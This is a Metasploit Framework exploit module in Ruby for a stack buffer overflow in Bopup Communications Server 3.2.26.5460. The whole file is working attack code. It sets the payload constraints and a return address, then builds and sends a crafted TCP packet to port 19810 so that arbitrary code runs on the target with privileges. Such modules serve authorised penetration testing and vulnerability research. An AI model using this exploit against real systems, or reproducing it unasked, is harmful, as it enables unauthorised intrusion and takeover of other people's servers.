##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Bopup Communications Server Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack overflow in Bopup Communications Server 3.2.26.5460.
          By sending a specially crafted packet, an attacker may be
          able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,      
      'Version'        => '$Revision$',
      'References'     => 
        [ 
          [ 'OSVDB', '55275' ],
          [ 'URL', 'http://www.blabsoft.com/products/server' ],
          [ 'URL', 'http://milw0rm.com/exploits/9002' ], 
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 417,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Bopup Communications Server 3.2.26.5460',   { 'Ret' => 0x0041add2 } ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 18 2009'))

      register_options([Opt::RPORT(19810)], self.class)

  end

  def exploit
    connect
    
    sploit =  [0x00000001].pack('V')
    sploit << rand_text_alpha_upper(829 - payload.encoded.length)
    sploit << payload.encoded
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
    sploit << rand_text_alpha_upper(27)
    sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
    sploit << [target.ret].pack('V')
 
    print_status("Trying target #{target.name}...")    
    sock.put(sploit)

    handler
    disconnect
  end

end